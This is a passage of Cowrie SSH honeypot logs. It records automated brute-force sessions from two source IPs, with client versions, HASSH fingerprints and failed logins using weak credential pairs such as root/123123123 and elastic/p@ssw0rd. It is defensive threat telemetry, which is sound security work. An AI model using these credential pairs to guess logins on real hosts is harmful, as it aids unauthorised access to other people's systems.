com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:00.031558Z","src_ip":"94.26.106.229","session":"6b3b111ca535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456","message":"login attempt [alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:00.305863Z","src_ip":"94.26.106.229","session":"6b3b111ca535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:00.710650Z","src_ip":"45.156.87.204","session":"4a2d5f95d52d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:01.484457Z","src_ip":"94.26.106.229","session":"6b3b111ca535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":40536,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccfa2d09a72f","protocol":"ssh","message":"New connection: 94.26.106.229:40536 (159.203.135.109:22) [session: ccfa2d09a72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.516407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.521859Z","src_ip":"94.26.106.229","session":"ccfa2d09a72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41472,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c824c119f87","protocol":"ssh","message":"New connection: 45.156.87.204:41472 (159.203.135.109:22) [session: 1c824c119f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.576157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.581979Z","src_ip":"45.156.87.204","session":"1c824c119f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.615387Z","src_ip":"94.26.106.229","session":"ccfa2d09a72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.680294Z","src_ip":"45.156.87.204","session":"1c824c119f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser123","message":"login attempt [devuser/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.902511Z","src_ip":"94.26.106.229","session":"ccfa2d09a72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:02.930888Z","src_ip":"45.156.87.204","session":"1c824c119f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:03.995291Z","src_ip":"94.26.106.229","session":"ccfa2d09a72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:04.016430Z","src_ip":"45.156.87.204","session":"1c824c119f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":45480,"dst_ip":"159.203.135.109","dst_port":22,"session":"431c5363414c","protocol":"ssh","message":"New connection: 94.26.106.229:45480 (159.203.135.109:22) [session: 431c5363414c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:04.634873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:04.641226Z","src_ip":"94.26.106.229","session":"431c5363414c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:04.729628Z","src_ip":"94.26.106.229","session":"431c5363414c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"p@ssw0rd","message":"login attempt [elastic/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:04.995428Z","src_ip":"94.26.106.229","session":"431c5363414c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41474,"dst_ip":"159.203.135.109","dst_port":22,"session":"2aff76f6571f","protocol":"ssh","message":"New connection: 45.156.87.204:41474 (159.203.135.109:22) [session: 2aff76f6571f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.031295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.036998Z","src_ip":"45.156.87.204","session":"2aff76f6571f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.095431Z","src_ip":"94.26.106.229","session":"431c5363414c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.125582Z","src_ip":"45.156.87.204","session":"2aff76f6571f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.387350Z","src_ip":"45.156.87.204","session":"2aff76f6571f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":45484,"dst_ip":"159.203.135.109","dst_port":22,"session":"40b7009cf4f6","protocol":"ssh","message":"New connection: 94.26.106.229:45484 (159.203.135.109:22) [session: 40b7009cf4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.778508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.786119Z","src_ip":"94.26.106.229","session":"40b7009cf4f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:06.875145Z","src_ip":"94.26.106.229","session":"40b7009cf4f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nominatim","password":"1234","message":"login attempt [nominatim/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:07.239571Z","src_ip":"94.26.106.229","session":"40b7009cf4f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:07.472646Z","src_ip":"45.156.87.204","session":"2aff76f6571f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:08.334552Z","src_ip":"94.26.106.229","session":"40b7009cf4f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":45486,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d61de3ceb3","protocol":"ssh","message":"New connection: 94.26.106.229:45486 (159.203.135.109:22) [session: 63d61de3ceb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:09.583746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:09.589247Z","src_ip":"94.26.106.229","session":"63d61de3ceb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:09.677834Z","src_ip":"94.26.106.229","session":"63d61de3ceb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41490,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc9ebef50d2f","protocol":"ssh","message":"New connection: 45.156.87.204:41490 (159.203.135.109:22) [session: bc9ebef50d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:09.707672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:09.740354Z","src_ip":"45.156.87.204","session":"bc9ebef50d2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:09.820892Z","src_ip":"45.156.87.204","session":"bc9ebef50d2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:09.943389Z","src_ip":"94.26.106.229","session":"63d61de3ceb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:10.136254Z","src_ip":"45.156.87.204","session":"bc9ebef50d2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:11.031265Z","src_ip":"94.26.106.229","session":"63d61de3ceb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:11.221318Z","src_ip":"45.156.87.204","session":"bc9ebef50d2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":45488,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1463daa943","protocol":"ssh","message":"New connection: 94.26.106.229:45488 (159.203.135.109:22) [session: bb1463daa943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:11.694669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:11.702680Z","src_ip":"94.26.106.229","session":"bb1463daa943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:11.790717Z","src_ip":"94.26.106.229","session":"bb1463daa943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"123","message":"login attempt [app/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:12.055908Z","src_ip":"94.26.106.229","session":"bb1463daa943","protocol":"ssh"}
